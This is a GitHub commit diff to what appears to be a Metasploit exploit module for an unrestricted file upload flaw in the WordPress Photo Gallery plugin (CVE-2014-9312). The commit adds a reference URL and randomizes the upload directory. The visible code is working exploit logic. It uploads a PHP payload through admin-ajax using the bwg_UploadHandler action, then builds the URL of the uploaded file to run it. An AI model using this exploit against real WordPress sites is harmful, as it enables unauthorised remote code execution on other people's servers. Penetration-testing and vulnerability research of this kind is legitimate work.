Skip to content

Commit bce7211

Browse files
committed
added url and randomize upload directory
1 parent cb1efa3 commit bce7211

File tree

1 file changed

+6
-4
lines changed

1 file changed

+6
-4
lines changed

modules/exploits/unix/webapp/wp_photo_gallery_unrestricted_file_upload.rb

Lines changed: 6 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -32,7 +32,8 @@ def initialize(info = {})
3232
[
3333
['OSVDB', '117676'],
3434
['WPVDB', '7769'],
35-
['CVE', '2014-9312']
35+
['CVE', '2014-9312'],
36+
['URL', 'http://security.szurek.pl/photo-gallery-125-unrestricted-file-upload.html']
3637
],
3738
'DisclosureDate' => 'Nov 11 2014',
3839
'Platform' => 'php',
@@ -78,11 +79,12 @@ def exploit
7879
payload_name = Rex::Text.rand_text_alpha(10)
7980
data = generate_mime_message(payload, payload_name)
8081

81-
print_status("#{peer} - Uploading payload...")
82+
upload_dir = "#{Rex::Text.rand_text_alpha(5)}/"
83+
print_status("#{peer} - Uploading payload to #{upload_dir}...")
8284
res = send_request_cgi(
8385
'method' => 'POST',
8486
'uri' => wordpress_url_admin_ajax,
85-
'vars_get' => { 'action' => 'bwg_UploadHandler', 'dir' => 'rce/' },
87+
'vars_get' => { 'action' => 'bwg_UploadHandler', 'dir' => upload_dir },
8688
'ctype' => "multipart/form-data; boundary=#{data.bound}",
8789
'data' => data.to_s,
8890
'cookie' => cookie
@@ -100,7 +102,7 @@ def exploit
100102
else
101103
uploaded_name = json['files'][0]['name'][0..-5]
102104
php_file_name = "#{uploaded_name}.php"
103-
payload_url = normalize_uri(wordpress_url_backend, 'rce', uploaded_name, php_file_name)
105+
payload_url = normalize_uri(wordpress_url_backend, upload_dir, uploaded_name, php_file_name)
104106
print_good("#{peer} - Parsed response")
105107

106108
register_files_for_cleanup(php_file_name)

0 commit comments

Comments
 (0)